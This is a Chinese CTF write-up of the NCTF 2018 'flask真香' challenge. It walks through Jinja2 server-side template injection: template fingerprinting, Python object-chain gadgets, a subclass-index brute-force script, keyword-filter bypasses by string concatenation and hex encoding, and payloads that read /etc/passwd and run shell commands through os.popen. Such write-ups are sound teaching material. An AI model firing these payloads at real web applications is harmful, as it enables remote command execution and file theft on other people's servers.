[NCTF 2018]flask真香

打开题目后没有提示框,尝试扫描后也没有什么结果,猜想是ssti。所以尝试寻找ssti的注入点并判断模版。

模版判断方式:

在url地址中输入{7*7} 后发现不能识别执行。

尝试{{7*7}} ,执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令

  • 读取 /etc/passwdhttp://localhost:5000/?name={``{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
  • 执行命令(假设找到 os.system 子类):http://localhost:5000/?name={``{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}

常用类及语法:

class:表示实例对象所属的类。

base:类型对象的直接基类。

bases:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

mro:一个由类组成的元组,在方法解析期间用于查找基类。

subclasses():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

init:初始化类的构造函数,返回类型为function的方法。

globals:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

dict:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

getattribute():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

getitem():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.getitem('b')。

builtins:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

import:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

str():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.globals['builtins']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.globals['builtins']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.globals['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

  • request.args.x1:GET请求中的参数。

  • request.values.x1:所有参数。

  • request.cookies:cookies参数。

  • request.headers:请求头参数。

  • request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。

  • request.data:POST请求中的数据(Content-Type为a/b)。

  • request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.class.init.globals['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。
1)__class__用来查看变量所属的类,格式为变量.class

利用方式:

输入''.class

回显<class 'str'>

输入().class

回显<class 'tuple'>

输入{}.class

回显<class 'dict'>

输入[].class

回显<class 'list'>
(2)__bases__用来查看类的基类,格式为变量.class.bases

利用方式:

输入''.class.bases

回显(<class 'object'>,)

输入().class.bases

回显(<class 'object'>,)

输入{}.class.bases

回显(<class 'object'>,)

输入[].class.bases

回显(<class 'object'>,)

同时可结合数组,如:

输入 变量.class.bases[0]

可获得第一个基类

因此可以用{``{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}读取所有子类。

尝试后显示500,说明其中有一些语句是被过滤的。

用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下:

class
subclasses
config
args
request
open
eval
import

有过滤的绕过方式:

1. 基于字符串连接运算符

不同的模板引擎可能支持不同的字符串连接运算符:

  • Jinja2 (Python) : 可以使用 + 运算符
  • Twig (PHP) : 可以使用 ~ 运算符
  • ERB (Ruby) : 可以使用 + 运算符
jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}
Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }} 
ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>

2. 使用内置函数和方法

许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:

jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}
Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}
ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3. 十六进制或 Unicode 编码

如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:

jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是"+",构造payload:

{{()['cla'+'ss'].base['subcl'+'asses']()}}

  • ()['__cla'+'ss__']:

    • 通过字符串拼接 __class__ 得到 __class__,访问元组的 __class__ 属性,返回元组的类对象 <class 'tuple'>
  • .__base__:

    • 访问 <class 'tuple'>__base__ 属性,即基类,返回 <class 'object'>
  • ['__subcl'+'asses__']():

    • 通过字符串拼接 __subclasses__ 得到 __subclasses__,调用 __subclasses__() 方法,返回一个包含所有子类的列表。

构造payload的基本步骤:

获取所有子类(jinjia2)

{{ [].__class__.__base__.__subclasses__() }}

查找文件操作类

通过索引访问子类,找到文件操作类:

{{ [].__class__.__base__.__subclasses__()[index] }} 

读取文件内容

一旦确定文件操作类的位置,可以读取文件内容:

{{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}

接下来通常使用查找eval函数或者是os模块来执行我们需要的命令

eval函数与os模块的作用:

eval 函数:

可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。

os模块:

os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。

可以用这个脚本找到eval函数的位置,但这题找不到eval。

python 复制代码
import requests

url = input("请输入 URL:")

found = False

for i in range(500):
    try:
        # 构造 payload
        payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"
        data = {"name": payload}
        
        # 发送 POST 请求
        response = requests.post(url, data=data)
        
        # 检查响应状态码
        if response.status_code == 200:
            print(f"Response for index {i}: {response.text}")
            # 检查响应内容是否包含 "eval"
            if "eval" in response.text:
                print(f"Found eval at index: {i}")
                found = True
                break  # 找到后退出循环
    except Exception as e:
        print(f"Error at index {i}: {e}")

if not found:
    print("Did not find eval in the first 500 subclasses.")

尝试找os模块

找到了它的位置,可以构造payload验证一下。

{{()['cla'+'ss'].base['subcl'+'asses']()[304]}}

验证说明正确,找到os模块后可以执行任意系统命令,

{{''['cla'+'ss'].base['subcl'+'asses']()[304].init.globals['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

思路总结:

1、查看是否存在注入点,一般存在于:
  • 表单输入:检查应用程序中的所有表单,特别是那些将用户输入显示在页面上的表单字段。
  • URL 参数:观察 URL 中的参数,特别是那些用于动态生成内容的参数。
  • HTTP 头:某些应用程序会将 HTTP 头的信息(如 User-Agent、Referer)渲染到页面中。
  • Cookie:有时应用程序会将 Cookie 中的值渲染到页面中。
2、确定模板类型

例如:Jinja2 (Python)、 Freemarker (Java)、Twig (PHP)、ERB (Ruby)

3、初步构造payload,获取全局变量

(这个步骤注意查看页面,看是否存在过滤)

4、查找关键类、模块

eval、os模块等

5、根据查到的信息构造payload
相关推荐
聚铭网络8 小时前
案例精选 | 聚铭综合日志分析系统为江苏省电子口岸构建高效安全的贸易生态
安全
许强0xq8 小时前
Solidity&Foundry 安全审计测试 绕过isContract()校验
安全·区块链·智能合约·solidity·审计
u0109053599 小时前
巴比达内网穿透:重塑企业级数据通信的高效与安全边界
服务器·网络·安全
文盲老顾11 小时前
阿里云 ECS 服务器的安全组设置
服务器·安全·阿里云
竹等寒13 小时前
SQL注入方法
安全·网络安全
kinlon.liu13 小时前
Web应用安全实用建议
前端·网络·网络协议·安全·centos
gavinwang15215214 小时前
一文解决:你与该网站的连接不是私密连接,存在安全隐患
安全·web安全·网络安全·https·ssl
大众生活14 小时前
边界无限陈佩文:红蓝对抗安全演练常态化的各方分析
网络·安全·web安全
大棉花哥哥14 小时前
2024年中国网络安全市场全景图 -百度下载
安全·web安全
RamendeusStudio15 小时前
绝区肆--2024 年AI安全状况
人工智能·安全